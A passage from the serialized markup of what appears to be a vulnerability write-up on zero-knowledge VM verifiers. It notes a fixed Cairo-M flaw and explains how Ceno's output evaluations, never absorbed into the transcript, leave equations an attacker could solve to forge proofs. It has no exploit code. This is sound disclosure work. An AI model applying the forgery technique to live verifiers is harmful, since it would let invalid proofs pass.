42],{"type":29,"value":115386},{"type":23,"tag":504,"props":120044,"children":120046},{"className":120045},[1431,701],[120047],{"type":29,"value":6422},{"type":23,"tag":504,"props":120049,"children":120051},{"className":120050},[600,701],[120052],{"type":29,"value":120053},"⟨",{"type":23,"tag":504,"props":120055,"children":120057},{"className":120056,"style":116914},[529,530,701],[120058],{"type":29,"value":116917},{"type":23,"tag":504,"props":120060,"children":120062},{"className":120061},[2267,701],[120063],{"type":29,"value":2270},{"type":23,"tag":504,"props":120065,"children":120067},{"className":120066},[529,701],[120068,120073],{"type":23,"tag":504,"props":120069,"children":120071},{"className":120070},[529,530,701],[120072],{"type":29,"value":620},{"type":23,"tag":504,"props":120074,"children":120076},{"className":120075},[666],[120077],{"type":23,"tag":504,"props":120078,"children":120080},{"className":120079},[671,672],[120081,120110],{"type":23,"tag":504,"props":120082,"children":120084},{"className":120083},[677],[120085,120105],{"type":23,"tag":504,"props":120086,"children":120088},{"className":120087,"style":116150},[682],[120089],{"type":23,"tag":504,"props":120090,"children":120091},{"style":110681},[120092,120096],{"type":23,"tag":504,"props":120093,"children":120095},{"className":120094,"style":110686},[692],[],{"type":23,"tag":504,"props":120097,"children":120099},{"className":120098},[698,110691,110692,701],[120100],{"type":23,"tag":504,"props":120101,"children":120103},{"className":120102},[529,530,701],[120104],{"type":29,"value":578},{"type":23,"tag":504,"props":120106,"children":120108},{"className":120107},[712],[120109],{"type":29,"value":715},{"type":23,"tag":504,"props":120111,"children":120113},{"className":120112},[677],[120114],{"type":23,"tag":504,"props":120115,"children":120117},{"className":120116,"style":110711},[682],[120118],{"type":23,"tag":504,"props":120119,"children":120120},{},[],{"type":23,"tag":504,"props":120122,"children":120124},{"className":120123},[600,701],[120125],{"type":29,"value":603},{"type":23,"tag":504,"props":120127,"children":120129},{"className":120128},[529,29,701],[120130],{"type":23,"tag":504,"props":120131,"children":120133},{"className":120132},[529,701],[120134],{"type":29,"value":63737},{"type":23,"tag":504,"props":120136,"children":120138},{"className":120137,"style":624},[529,701],[120139],{"type":29,"value":627},{"type":23,"tag":504,"props":120141,"children":120143},{"className":120142},[529,29,701],[120144],{"type":23,"tag":504,"props":120145,"children":120147},{"className":120146},[529,701],[120148],{"type":29,"value":5761},{"type":23,"tag":504,"props":120150,"children":120152},{"className":120151},[930,701],[120153],{"type":29,"value":120154},")⟩",{"type":23,"tag":504,"props":120156,"children":120158},{"className":120157},[1431,701],[120159],{"type":29,"value":6422},{"type":23,"tag":504,"props":120161,"children":120163},{"className":120162,"style":116969},[529,530,701],[120164],{"type":29,"value":116972},{"type":23,"tag":504,"props":120166,"children":120167},{"style":115399},[120168,120172],{"type":23,"tag":504,"props":120169,"children":120171},{"className":120170,"style":113997},[692],[],{"type":23,"tag":504,"props":120173,"children":120175},{"className":120174,"style":115409},[115408],[],{"type":23,"tag":504,"props":120177,"children":120178},{"style":115413},[120179,120183],{"type":23,"tag":504,"props":120180,"children":120182},{"className":120181,"style":113997},[692],[],{"type":23,"tag":504,"props":120184,"children":120186},{"className":120185},[698,699,700,701],[120187],{"type":23,"tag":504,"props":120188,"children":120190},{"className":120189},[529,701],[120191],{"type":23,"tag":504,"props":120192,"children":120194},{"className":120193},[529,701],[120195],{"type":29,"value":826},{"type":23,"tag":504,"props":120197,"children":120199},{"className":120198},[712],[120200],{"type":29,"value":715},{"type":23,"tag":504,"props":120202,"children":120204},{"className":120203},[677],[120205],{"type":23,"tag":504,"props":120206,"children":120209},{"className":120207,"style":120208},[682],"height:0.562em;",[120210],{"type":23,"tag":504,"props":120211,"children":120212},{},[],{"type":23,"tag":504,"props":120214,"children":120216},{"className":120215},[930,115344],[],{"type":23,"tag":504,"props":120218,"children":120220},{"className":120219},[529],[120221],{"type":29,"value":357},{"type":23,"tag":32,"props":120223,"children":120224},{},[120225,120227],{"type":29,"value":120226},"The global check is then that ",{"type":23,"tag":154,"props":120228,"children":120230},{"className":120229},[500,501],[120231],{"type":23,"tag":504,"props":120232,"children":120234},{"className":120233},[507],[120235],{"type":23,"tag":504,"props":120236,"children":120238},{"className":120237,"ariaHidden":513},[512],[120239,120280,120311],{"type":23,"tag":504,"props":120240,"children":120242},{"className":120241},[518],[120243,120247,120252,120257,120262,120267,120271,120276],{"type":23,"tag":504,"props":120244,"children":120246},{"className":120245,"style":2160},[523],[],{"type":23,"tag":504,"props":120248,"children":120250},{"className":120249},[529,530],[120251],{"type":29,"value":119790},{"type":23,"tag":504,"props":120253,"children":120255},{"className":120254},[600],[120256],{"type":29,"value":603},{"type":23,"tag":504,"props":120258,"children":120260},{"className":120259},[529,530],[120261],{"type":29,"value":32},{"type":23,"tag":504,"props":120263,"children":120265},{"className":120264},[930],[120266],{"type":29,"value":933},{"type":23,"tag":504,"props":120268,"children":120270},{"className":120269,"style":1426},[537],[],{"type":23,"tag":504,"props":120272,"children":120274},{"className":120273},[1431],[120275],{"type":29,"value":6422},{"type":23,"tag":504,"props":120277,"children":120279},{"className":120278,"style":1426},[537],[],{"type":23,"tag":504,"props":120281,"children":120283},{"className":120282},[518],[120284,120288,120298,120302,120307],{"type":23,"tag":504,"props":120285,"children":120287},{"className":120286,"style":2160},[523],[],{"type":23,"tag":504,"props":120289,"children":120291},{"className":120290},[529,29],[120292],{"type":23,"tag":504,"props":120293,"children":120295},{"className":120294},[529],[120296],{"type":29,"value":120297},"(other terms)",{"type":23,"tag":504,"props":120299,"children":120301},{"className":120300,"style":538},[537],[],{"type":23,"tag":504,"props":120303,"children":120305},{"className":120304},[543],[120306],{"type":29,"value":546},{"type":23,"tag":504,"props":120308,"children":120310},{"className":120309,"style":538},[537],[],{"type":23,"tag":504,"props":120312,"children":120314},{"className":120313},[518],[120315,120319],{"type":23,"tag":504,"props":120316,"children":120318},{"className":120317,"style":1690},[523],[],{"type":23,"tag":504,"props":120320,"children":120322},{"className":120321},[529],[120323],{"type":29,"value":708},{"type":23,"tag":32,"props":120325,"children":120326},{},[120327],{"type":29,"value":120328},"With challenges fixed, this is a rational equation in public data. This is not linear, but still algebraically solvable.",{"type":23,"tag":32,"props":120330,"children":120331},{},[120332],{"type":29,"value":120333},"Public-data coordinates participate in verification relations through extension-field arithmetic (including extension-valued public-memory entries), so the forged-parameter search is a coupled extension-field system.",{"type":23,"tag":32,"props":120335,"children":120336},{},[120337,120341,120343],{"type":23,"tag":38,"props":120338,"children":120339},{},[120340],{"type":29,"value":118536},{"type":29,"value":120342}," Fixed on October 31, 2025 via ",{"type":23,"tag":68,"props":120344,"children":120347},{"href":120345,"rel":120346},"https://github.com/kkrt-labs/cairo-m/pull/352/commits/92b6740937e904e0002e7ee099fec357127c1d16",[72],[120348],{"type":29,"value":120349},"commit 92b6740",{"type":23,"tag":20844,"props":120351,"children":120352},{},[],{"type":23,"tag":320,"props":120354,"children":120356},{"id":120355},"ceno-scroll",[120357],{"type":29,"value":120358},"Ceno (Scroll)",{"type":23,"tag":32,"props":120360,"children":120361},{},[120362],{"type":29,"value":120363},"Ceno is a zkVM by Scroll, using GKR with a tower sumcheck structure.",{"type":23,"tag":32,"props":120365,"children":120366},{},[120367,120369,120374],{"type":29,"value":120368},"Ceno splits verification into ",{"type":23,"tag":38,"props":120370,"children":120371},{},[120372],{"type":29,"value":120373},"chips",{"type":29,"value":120375},", with one per opcode or lookup table. Each chip proves its constraints independently.",{"type":23,"tag":32,"props":120377,"children":120378},{},[120379,120381,120386],{"type":29,"value":120380},"Many per-record values (reads, writes, lookups) are batched into a binary tree structure. Each layer folds pairs of values with random challenges; this is the ",{"type":23,"tag":38,"props":120382,"children":120383},{},[120384],{"type":29,"value":120385},"tower sumcheck",{"type":29,"value":357},{"type":23,"tag":32,"props":120388,"children":120389},{},[120390],{"type":29,"value":120391},"All read records must match all write records (plus initial/final state). This is checked via a multiset equality, this time using a product instead of logup:",{"type":23,"tag":32,"props":120393,"children":120394},{},[120395],{"type":23,"tag":154,"props":120396,"children":120398},{"className":120397},[500,501],[120399],{"type":23,"tag":504,"props":120400,"children":120402},{"className":120401},[507],[120403],{"type":23,"tag":504,"props":120404,"children":120406},{"className":120405,"ariaHidden":513},[512],[120407,120581,120754],{"type":23,"tag":504,"props":120408,"children":120410},{"className":120409},[518],[120411,120415,120473,120477,120486,120491,120501,120506,120568,120572,120577],{"type":23,"tag":504,"props":120412,"children":120414},{"className":120413,"style":558},[523],[],{"type":23,"tag":504,"props":120416,"children":120418},{"className":120417},[23673],[120419,120425],{"type":23,"tag":504,"props":120420,"children":120422},{"className":120421,"style":23680},[23673,23678,23679],[120423],{"type":29,"value":120424},"∏",{"type":23,"tag":504,"props":120426,"children":120428},{"className":120427},[666],[120429],{"type":23,"tag":504,"props":120430,"children":120432},{"className":120431},[671,672],[120433,120462],{"type":23,"tag":504,"props":120434,"children":120436},{"className":120435},[677],[120437,120457],{"type":23,"tag":504,"props":120438,"children":120440},{"className":120439,"style":116033},[682],[120441],{"type":23,"tag":504,"props":120442,"children":120443},{"style":23703},[120444,120448],{"type":23,"tag":504,"props":120445,"children":120447},{"className":120446,"style":693},[692],[],{"type":23,"tag":504,"props":120449,"children":120451},{"className":120450},[698,699,700,701],[120452],{"type":23,"tag":504,"props":120453,"children":120455},{"className":120454},[529,530,701],[120456],{"type":29,"value":578},{"type":23,"tag":504,"props":120458,"children":120460},{"className":120459},[712],[120461],{"type":29,"value":715},{"type":23,"tag":504,"props":120463,"children":120465},{"className":120464},[677],[120466],{"type":23,"tag":504,"props":120467,"children":120469},{"className":120468,"style":116313},[682],[120470],{"type":23,"tag":504,"props":120471,"children":120472},{},[],{"type":23,"tag":504,"props":120474,"children":120476},{"className":120475,"style":2274},[537],[],{"type":23,"tag":504,"props":120478,"children":120480},{"className":120479},[529,29],[120481],{"type":23,"tag":504,"props":120482,"children":120484},{"className":120483},[529],[120485],{"type":29,"value":1477},{"type":23,"tag":504,"props":120487,"children":120489},{"className":120488,"style":624},[529],[120490],{"type":29,"value":627},{"type":23,"tag":504,"props":120492,"children":120494},{"className":120493},[529,29],[120495],{"type":23,"tag":504,"props":120496,"children":120498},{"className":120497},[529],[120499],{"type":29,"value":120500},"out",{"type":23,"tag":504,"props":120502,"children":120504},{"className":120503,"style":624},[529],[120505],{"type":29,"value":627},{"type":23,"tag":504,"props":120507,"children":120509},{"className":120508},[529],[120510,120520],{"type":23,"tag":504,"props":120511,"children":120513},{"className":120512},[529,29],[120514],{"type":23,"tag":504,"props":120515,"children":120517},{"className":120516},[529],[120518],{"type":29,"value":120519},"evals",{"type":23,"tag":504,"props":120521,"children":120523},{"className":120522},[666],[120524],{"type":23,"tag":504,"props":120525,"children":120527},{"className":120526},[671,672],[120528,120557],{"type":23,"tag":504,"props":120529,"children":120531},{"className":120530},[677],[120532,120552],{"type":23,"tag":504,"props":120533,"children":120535},{"className":120534,"style":1180},[682],[120536],{"type":23,"tag":504,"props":120537,"children":120538},{"style":115956},[120539,120543],{"type":23,"tag":504,"props":120540,"children":120542},{"className":120541,"style":693},[692],[],{"type":23,"tag":504,"props":120544,"children":120546},{"className":120545},[698,699,700,701],[120547],{"type":23,"tag":504,"props":120548,"children":120550},{"className":120549},[529,530,701],[120551],{"type":29,"value":578},{"type":23,"tag":504,"props":120553,"children":120555},{"className":120554},[712],[120556],{"type":29,"value":715},{"type":23,"tag":504,"props":120558,"children":120560},{"className":120559},[677],[120561],{"type":23,"tag":504,"props":120562,"children":120564},{"className":120563,"style":723},[682],[120565],{"type":23,"tag":504,"props":120566,"children":120567},{},[],{"type":23,"tag":504,"props":120569,"children":120571},{"className":120570,"style":538},[537],[],{"type":23,"tag":504,"props":120573,"children":120575},{"className":120574},[543],[120576],{"type":29,"value":546},{"type":23,"tag":504,"props":120578,"children":120580},{"className":120579,"style":538},[537],[],{"type":23,"tag":504,"props":120582,"children":120584},{"className":120583},[518],[120585,120590,120647,120651,120660,120665,120674,120679,120741,120745,120750],{"type":23,"tag":504,"props":120586,"children":120589},{"className":120587,"style":120588},[523],"height:1.1858em;vertical-align:-0.4358em;",[],{"type":23,"tag":504,"props":120591,"children":120593},{"className":120592},[23673],[120594,120599],{"type":23,"tag":504,"props":120595,"children":120597},{"className":120596,"style":23680},[23673,23678,23679],[120598],{"type":29,"value":120424},{"type":23,"tag":504,"props":120600,"children":120602},{"className":120601},[666],[120603],{"type":23,"tag":504,"props":120604,"children":120606},{"className":120605},[671,672],[120607,120636],{"type":23,"tag":504,"props":120608,"children":120610},{"className":120609},[677],[120611,120631],{"type":23,"tag":504,"props":120612,"children":120614},{"className":120613,"style":116033},[682],[120615],{"type":23,"tag":504,"props":120616,"children":120617},{"style":23703},[120618,120622],{"type":23,"tag":504,"props":120619,"children":120621},{"className":120620,"style":693},[692],[],{"type":23,"tag":504,"props":120623,"children":120625},{"className":120624},[698,699,700,701],[120626],{"type":23,"tag":504,"props":120627,"children":120629},{"className":120628,"style":116049},[529,530,701],[120630],{"type":29,"value":10701},{"type":23,"tag":504,"props":120632,"children":120634},{"className":120633},[712],[120635],{"type":29,"value":715},{"type":23,"tag":504,"props":120637,"children":120639},{"className":120638},[677],[120640],{"type":23,"tag":504,"props":120641,"children":120643},{"className":120642,"style":116064},[682],[120644],{"type":23,"tag":504,"props":120645,"children":120646},{},[],{"type":23,"tag":504,"props":120648,"children":120650},{"className":120649,"style":2274},[537],[],{"type":23,"tag":504,"props":120652,"children":120654},{"className":120653},[529,29],[120655],{"type":23,"tag":504,"props":120656,"children":120658},{"className":120657},[529],[120659],{"type":29,"value":51635},{"type":23,"tag":504,"props":120661,"children":120663},{"className":120662,"style":624},[529],[120664],{"type":29,"value":627},{"type":23,"tag":504,"props":120666,"children":120668},{"className":120667},[529,29],[120669],{"type":23,"tag":504,"props":120670,"children":120672},{"className":120671},[529],[120673],{"type":29,"value":120500},{"type":23,"tag":504,"props":120675,"children":120677},{"className":120676,"style":624},[529],[120678],{"type":29,"value":627},{"type":23,"tag":504,"props":120680,"children":120682},{"className":120681},[529],[120683,120692],{"type":23,"tag":504,"props":120684,"children":120686},{"className":120685},[529,29],[120687],{"type":23,"tag":504,"props":120688,"children":120690},{"className":120689},[529],[120691],{"type":29,"value":120519},{"type":23,"tag":504,"props":120693,"children":120695},{"className":120694},[666],[120696],{"type":23,"tag":504,"props":120697,"children":120699},{"className":120698},[671,672],[120700,120729],{"type":23,"tag":504,"props":120701,"children":120703},{"className":120702},[677],[120704,120724],{"type":23,"tag":504,"props":120705,"children":120707},{"className":120706,"style":1180},[682],[120708],{"type":23,"tag":504,"props":120709,"children":120710},{"style":115956},[120711,120715],{"type":23,"tag":504,"props":120712,"children":120714},{"className":120713,"style":693},[692],[],{"type":23,"tag":504,"props":120716,"children":120718},{"className":120717},[698,699,700,701],[120719],{"type":23,"tag":504,"props":120720,"children":120722},{"className":120721,"style":116049},[529,530,701],[120723],{"type":29,"value":10701},{"type":23,"tag":504,"props":120725,"children":120727},{"className":120726},[712],[120728],{"type":29,"value":715},{"type":23,"tag":504,"props":120730,"children":120732},{"className":120731},[677],[120733],{"type":23,"tag":504,"props":120734,"children":120737},{"className":120735,"style":120736},[682],"height:0.2861em;",[120738],{"type":23,"tag":504,"props":120739,"children":120740},{},[],{"type":23,"tag":504,"props":120742,"children":120744},{"className":120743,"style":1426},[537],[],{"type":23,"tag":504,"props":120746,"children":120748},{"className":120747},[1431],[120749],{"type":29,"value":113088},{"type":23,"tag":504,"props":120751,"children":120753},{"className":120752,"style":1426},[537],[],{"type":23,"tag":504,"props":120755,"children":120757},{"className":120756},[518],[120758,120762,120767,120777],{"type":23,"tag":504,"props":120759,"children":120761},{"className":120760,"style":2160},[523],[],{"type":23,"tag":504,"props":120763,"children":120765},{"className":120764},[600],[120766],{"type":29,"value":603},{"type":23,"tag":504,"props":120768,"children":120770},{"className":120769},[529,29],[120771],{"type":23,"tag":504,"props":120772,"children":120774},{"className":120773},[529],[120775],{"type":29,"value":120776},"state factors",{"type":23,"tag":504,"props":120778,"children":120780},{"className":120779},[930],[120781],{"type":29,"value":933},{"type":23,"tag":32,"props":120783,"children":120784},{},[120785],{"type":23,"tag":38,"props":120786,"children":120787},{},[120788],{"type":29,"value":117242},{"type":23,"tag":4743,"props":120790,"children":120792},{"code":120791},"ZKVMChipProof {\n    r_out_evals: [[FieldElement]],   // \u003C- VULNERABLE\n    w_out_evals: [[FieldElement]],   // \u003C- VULNERABLE\n    lk_out_evals: [[FieldElement]],  // \u003C- VULNERABLE\n    tower_proof: [...],\n    gkr_iop_proof: [...],\n}\n",[120793],{"type":23,"tag":154,"props":120794,"children":120795},{"__ignoreMap":7},[120796],{"type":29,"value":120791},{"type":23,"tag":32,"props":120798,"children":120799},{},[120800,120806,120807,120813,120814,120820],{"type":23,"tag":154,"props":120801,"children":120803},{"className":120802},[],[120804],{"type":29,"value":120805},"r_out_evals",{"type":29,"value":4367},{"type":23,"tag":154,"props":120808,"children":120810},{"className":120809},[],[120811],{"type":29,"value":120812},"w_out_evals",{"type":29,"value":4375},{"type":23,"tag":154,"props":120815,"children":120817},{"className":120816},[],[120818],{"type":29,"value":120819},"lk_out_evals",{"type":29,"value":120821}," are used to initialize the tower sumcheck claim, but they're never absorbed into the transcript. This leaves us with two equations:",{"type":23,"tag":139,"props":120823,"children":120824},{},[120825],{"type":23,"tag":143,"props":120826,"children":120827},{},[120828,120833,120835,120841],{"type":23,"tag":38,"props":120829,"children":120830},{},[120831],{"type":29,"value":120832},"GKR/Tower equation",{"type":29,"value":120834}," (linear in ",{"type":23,"tag":154,"props":120836,"children":120838},{"className":120837},[],[120839],{"type":29,"value":120840},"out_evals",{"type":29,"value":25998},{"type":23,"tag":32,"props":120843,"children":120844},{},[120845,120847],{"type":29,"value":120846},"The tower sumcheck claim is ",{"type":23,"tag":154,"props":120848,"children":120850},{"className":120849},[500,501],[120851],{"type":23,"tag":504,"props":120852,"children":120854},{"className":120853},[507],[120855],{"type":23,"tag":504,"props":120856,"children":120858},{"className":120857,"ariaHidden":513},[512],[120859,120890,121015],{"type":23,"tag":504,"props":120860,"children":120862},{"className":120861},[518],[120863,120867,120877,120881,120886],{"type":23,"tag":504,"props":120864,"children":120866},{"className":120865,"style":524},[523],[],{"type":23,"tag":504,"props":120868,"children":120870},{"className":120869},[529,29],[120871],{"type":23,"tag":504,"props":120872,"children":120874},{"className":120873},[529],[120875],{"type":29,"value":120876},"claim",{"type":23,"tag":504,"props":120878,"children":120880},{"className":120879,"style":538},[537],[],{"type":23,"tag":504,"props":120882,"children":120884},{"className":120883},[543],[120885],{"type":29,"value":546},{"type":23,"tag":504,"props":120887,"children":120889},{"className":120888,"style":538},[537],[],{"type":23,"tag":504,"props":120891,"children":120893},{"className":120892},[518],[120894,120899,120956,120960,121002,121006,121011],{"type":23,"tag":504,"props":120895,"children":120898},{"className":120896,"style":120897},[523],"height:1.2605em;vertical-align:-0.4358em;",[],{"type":23,"tag":504,"props":120900,"children":120902},{"className":120901},[23673],[120903,120908],{"type":23,"tag":504,"props":120904,"children":120906},{"className":120905,"style":23680},[23673,23678,23679],[120907],{"type":29,"value":110621},{"type":23,"tag":504,"props":120909,"children":120911},{"className":120910},[666],[120912],{"type":23,"tag":504,"props":120913,"children":120915},{"className":120914},[671,672],[120916,120945],{"type":23,"tag":504,"props":120917,"children":120919},{"className":120918},[677],[120920,120940],{"type":23,"tag":504,"props":120921,"children":120923},{"className":120922,"style":116033},[682],[120924],{"type":23,"tag":504,"props":120925,"children":120926},{"style":23703},[120927,120931],{"type":23,"tag":504,"props":120928,"children":120930},{"className":120929,"style":693},[692],[],{"type":23,"tag":504,"props":120932,"children":120934},{"className":120933},[698,699,700,701],[120935],{"type":23,"tag":504,"props":120936,"children":120938},{"className":120937,"style":116049},[529,530,701],[120939],{"type":29,"value":10701},{"type":23,"tag":504,"props":120941,"children":120943},{"className":120942},[712],[120944],{"type":29,"value":715},{"type":23,"tag":504,"props":120946,"children":120948},{"className":120947},[677],[120949],{"type":23,"tag":504,"props":120950,"children":120952},{"className":120951,"style":116064},[682],[120953],{"type":23,"tag":504,"props":120954,"children":120955},{},[],{"type":23,"tag":504,"props":120957,"children":120959},{"className":120958,"style":2274},[537],[],{"type":23,"tag":504,"props":120961,"children":120963},{"className":120962},[529],[120964,120969],{"type":23,"tag":504,"props":120965,"children":120967},{"className":120966,"style":116914},[529,530],[120968],{"type":29,"value":116917},{"type":23,"tag":504,"props":120970,"children":120972},{"className":120971},[666],[120973],{"type":23,"tag":504,"props":120974,"children":120976},{"className":120975},[671],[120977],{"type":23,"tag":504,"props":120978,"children":120980},{"className":120979},[677],[120981],{"type":23,"tag":504,"props":120982,"children":120985},{"className":120983,"style":120984},[682],"height:0.8247em;",[120986],{"type":23,"tag":504,"props":120987,"children":120988},{"style":6099},[120989,120993],{"type":23,"tag":504,"props":120990,"children":120992},{"className":120991,"style":693},[692],[],{"type":23,"tag":504,"props":120994,"children":120996},{"className":120995},[698,699,700,701],[120997],{"type":23,"tag":504,"props":120998,"children":121000},{"className":120999,"style":116049},[529,530,701],[121001],{"type":29,"value":10701},{"type":23,"tag":504,"props":121003,"children":121005},{"className":121004,"style":1426},[537],[],{"type":23,"tag":504,"props":121007,"children":121009},{"className":121008},[1431],[121010],{"type":29,"value":113088},{"type":23,"tag":504,"props":121012,"children":121014},{"className":121013,"style":1426},[537],[],{"type":23,"tag":504,"props":121016,"children":121018},{"className":121017},[518],[121019,121023,121032,121037],{"type":23,"tag":504,"props":121020,"children":121022},{"className":121021,"style":2073},[523],[],{"type":23,"tag":504,"props":121024,"children":121026},{"className":121025},[529,29],[121027],{"type":23,"tag":504,"props":121028,"children":121030},{"className":121029},[529],[121031],{"type":29,"value":120500},{"type":23,"tag":504,"props":121033,"children":121035},{"className":121034,"style":624},[529],[121036],{"type":29,"value":627},{"type":23,"tag":504,"props":121038,"children":121040},{"className":121039},[529],[121041,121050],{"type":23,"tag":504,"props":121042,"children":121044},{"className":121043},[529,29],[121045],{"type":23,"tag":504,"props":121046,"children":121048},{"className":121047},[529],[121049],{"type":29,"value":120519},{"type":23,"tag":504,"props":121051,"children":121053},{"className":121052},[666],[121054],{"type":23,"tag":504,"props":121055,"children":121057},{"className":121056},[671,672],[121058,121087],{"type":23,"tag":504,"props":121059,"children":121061},{"className":121060},[677],[121062,121082],{"type":23,"tag":504,"props":121063,"children":121065},{"className":121064,"style":1180},[682],[121066],{"type":23,"tag":504,"props":121067,"children":121068},{"style":115956},[121069,121073],{"type":23,"tag":504,"props":121070,"children":121072},{"className":121071,"style":693},[692],[],{"type":23,"tag":504,"props":121074,"children":121076},{"className":121075},[698,699,700,701],[121077],{"type":23,"tag":504,"props":121078,"children":121080},{"className":121079,"style":116049},[529,530,701],[121081],{"type":29,"value":10701},{"type":23,"tag":504,"props":121083,"children":121085},{"className":121084},[712],[121086],{"type":29,"value":715},{"type":23,"tag":504,"props":121088,"children":121090},{"className":121089},[677],[121091],{"type":23,"tag":504,"props":121092,"children":121094},{"className":121093,"style":120736},[682],[121095],{"type":23,"tag":504,"props":121096,"children":121097},{},[],{"type":23,"tag":32,"props":121099,"children":121100},{},[121101,121103,121108],{"type":29,"value":121102},"This check is linear in ",{"type":23,"tag":154,"props":121104,"children":121106},{"className":121105},[],[121107],{"type":29,"value":120840},{"type":29,"value":357},{"type":23,"tag":139,"props":121110,"children":121111},{"start":4868},[121112],{"type":23,"tag":143,"props":121113,"children":121114},{},[121115,121120,121122,121127],{"type":23,"tag":38,"props":121116,"children":121117},{},[121118],{"type":29,"value":121119},"rw-product consistency",{"type":29,"value":121121}," (bilinear in ",{"type":23,"tag":154,"props":121123,"children":121125},{"className":121124},[],[121126],{"type":29,"value":120840},{"type":29,"value":25998},{"type":23,"tag":32,"props":121129,"children":121130},{},[121131],{"type":23,"tag":154,"props":121132,"children":121134},{"className":121133},[500,501],[121135],{"type":23,"tag":504,"props":121136,"children":121138},{"className":121137},[507],[121139],{"type":23,"tag":504,"props":121140,"children":121142},{"className":121141,"ariaHidden":513},[512],[121143,121314,121485],{"type":23,"tag":504,"props":121144,"children":121146},{"className":121145},[518],[121147,121151,121208,121212,121221,121226,121235,121240,121301,121305,121310],{"type":23,"tag":504,"props":121148,"children":121150},{"className":121149,"style":558},[523],[],{"type":23,"tag":504,"props":121152,"children":121154},{"className":121153},[23673],[121155,121160],{"type":23,"tag":504,"props":121156,"children":121158},{"className":121157,"style":23680},[23673,23678,23679],[121159],{"type":29,"value":120424},{"type":23,"tag":504,"props":121161,"children":121163},{"className":121162},[666],[121164],{"type":23,"tag":504,"props":121165,"children":121167},{"className":121166},[671,672],[121168,121197],{"type":23,"tag":504,"props":121169,"children":121171},{"className":121170},[677],[121172,121192],{"type":23,"tag":504,"props":121173,"children":121175},{"className":121174,"style":116033},[682],[121176],{"type":23,"tag":504,"props":121177,"children":121178},{"style":23703},[121179,121183],{"type":23,"tag":504,"props":121180,"children":121182},{"className":121181,"style":693},[692],[],{"type":23,"tag":504,"props":121184,"children":121186},{"className":121185},[698,699,700,701],[121187],{"type":23,"tag":504,"props":121188,"children":121190},{"className":121189},[529,530,701],[121191],{"type":29,"value":578},{"type":23,"tag":504,"props":121193,"children":121195},{"className":121194},[712],[121196],{"type":29,"value":715},{"type":23,"tag":504,"props":121198,"children":121200},{"className":121199},[677],[121201],{"type":23,"tag":504,"props":121202,"children":121204},{"className":121203,"style":116313},[682],[121205],{"type":23,"tag":504,"props":121206,"children":121207},{},[],{"type":23,"tag":504,"props":121209,"children":121211},{"className":121210,"style":2274},[537],[],{"type":23,"tag":504,"props":121213,"children":121215},{"className":121214},[529,29],[121216],{"type":23,"tag":504,"props":121217,"children":121219},{"className":121218},[529],[121220],{"type":29,"value":1477},{"type":23,"tag":504,"props":121222,"children":121224},{"className":121223,"style":624},[529],[121225],{"type":29,"value":627},{"type":23,"tag":504,"props":121227,"children":121229},{"className":121228},[529,29],[121230],{"type":23,"tag":504,"props":121231,"children":121233},{"className":121232},[529],[121234],{"type":29,"value":120500},{"type":23,"tag":504,"props":121236,"children":121238},{"className":121237,"style":624},[529],[121239],{"type":29,"value":627},{"type":23,"tag":504,"props":121241,"children":121243},{"className":121242},[529],[121244,121253],{"type":23,"tag":504,"props":121245,"children":121247},{"className":121246},[529,29],[121248],{"type":23,"tag":504,"props":121249,"children":121251},{"className":121250},[529],[121252],{"type":29,"value":120519},{"type":23,"tag":504,"props":121254,"children":121256},{"className":121255},[666],[121257],{"type":23,"tag":504,"props":121258,"children":121260},{"className":121259},[671,672],[121261,121290],{"type":23,"tag":504,"props":121262,"children":121264},{"className":121263},[677],[121265,121285],{"type":23,"tag":504,"props":121266,"children":121268},{"className":121267,"style":1180},[682],[121269],{"type":23,"tag":504,"props":121270,"children":121271},{"style":115956},[121272,121276],{"type":23,"tag":504,"props":121273,"children":121275},{"className":121274,"style":693},[692],[],{"type":23,"tag":504,"props":121277,"children":121279},{"className":121278},[698,699,700,701],[121280],{"type":23,"tag":504,"props":121281,"children":121283},{"className":121282},[529,530,701],[121284],{"type":29,"value":578},{"type":23,"tag":504,"props":121286,"children":121288},{"className":121287},[712],[121289],{"type":29,"value":715},{"type":23,"tag":504,"props":121291,"children":121293},{"className":121292},[677],[121294],{"type":23,"tag":504,"props":121295,"children":121297},{"className":121296,"style":723},[682],[121298],{"type":23,"tag":504,"props":121299,"children":121300},{},[],{"type":23,"tag":504,"props":121302,"children":121304},{"className":121303,"style":538},[537],[],{"type":23,"tag":504,"props":121306,"children":121308},{"className":121307},[543],[121309],{"type":29,"value":546},{"type":23,"tag":504,"props":121311,"children":121313},{"className":121312,"style":538},[537],[],{"type":23,"tag":504,"props":121315,"children":121317},{"className":121316},[518],[121318,121322,121379,121383,121392,121397,121406,121411,121472,121476,121481],{"type":23,"tag":504,"props":121319,"children":121321},{"className":121320,"style":120588},[523],[],{"type":23,"tag":504,"props":121323,"children":121325},{"className":121324},[23673],[121326,121331],{"type":23,"tag":504,"props":121327,"children":121329},{"className":121328,"style":23680},[23673,23678,23679],[121330],{"type":29,"value":120424},{"type":23,"tag":504,"props":121332,"children":121334},{"className":121333},[666],[121335],{"type":23,"tag":504,"props":121336,"children":121338},{"className":121337},[671,672],[121339,121368],{"type":23,"tag":504,"props":121340,"children":121342},{"className":121341},[677],[121343,121363],{"type":23,"tag":504,"props":121344,"children":121346},{"className":121345,"style":116033},[682],[121347],{"type":23,"tag":504,"props":121348,"children":121349},{"style":23703},[121350,121354],{"type":23,"tag":504,"props":121351,"children":121353},{"className":121352,"style":693},[692],[],{"type":23,"tag":504,"props":121355,"children":121357},{"className":121356},[698,699,700,701],[121358],{"type":23,"tag":504,"props":121359,"children":121361},{"className":121360,"style":116049},[529,530,701],[121362],{"type":29,"value":10701},{"type":23,"tag":504,"props":121364,"children":121366},{"className":121365},[712],[121367],{"type":29,"value":715},{"type":23,"tag":504,"props":121369,"children":121371},{"className":121370},[677],[121372],{"type":23,"tag":504,"props":121373,"children":121375},{"className":121374,"style":116064},[682],[121376],{"type":23,"tag":504,"props":121377,"children":121378},{},[],{"type":23,"tag":504,"props":121380,"children":121382},{"className":121381,"style":2274},[537],[],{"type":23,"tag":504,"props":121384,"children":121386},{"className":121385},[529,29],[121387],{"type":23,"tag":504,"props":121388,"children":121390},{"className":121389},[529],[121391],{"type":29,"value":51635},{"type":23,"tag":504,"props":121393,"children":121395},{"className":121394,"style":624},[529],[121396],{"type":29,"value":627},{"type":23,"tag":504,"props":121398,"children":121400},{"className":121399},[529,29],[121401],{"type":23,"tag":504,"props":121402,"children":121404},{"className":121403},[529],[121405],{"type":29,"value":120500},{"type":23,"tag":504,"props":121407,"children":121409},{"className":121408,"style":624},[529],[121410],{"type":29,"value":627},{"type":23,"tag":504,"props":121412,"children":121414},{"className":121413},[529],[121415,1214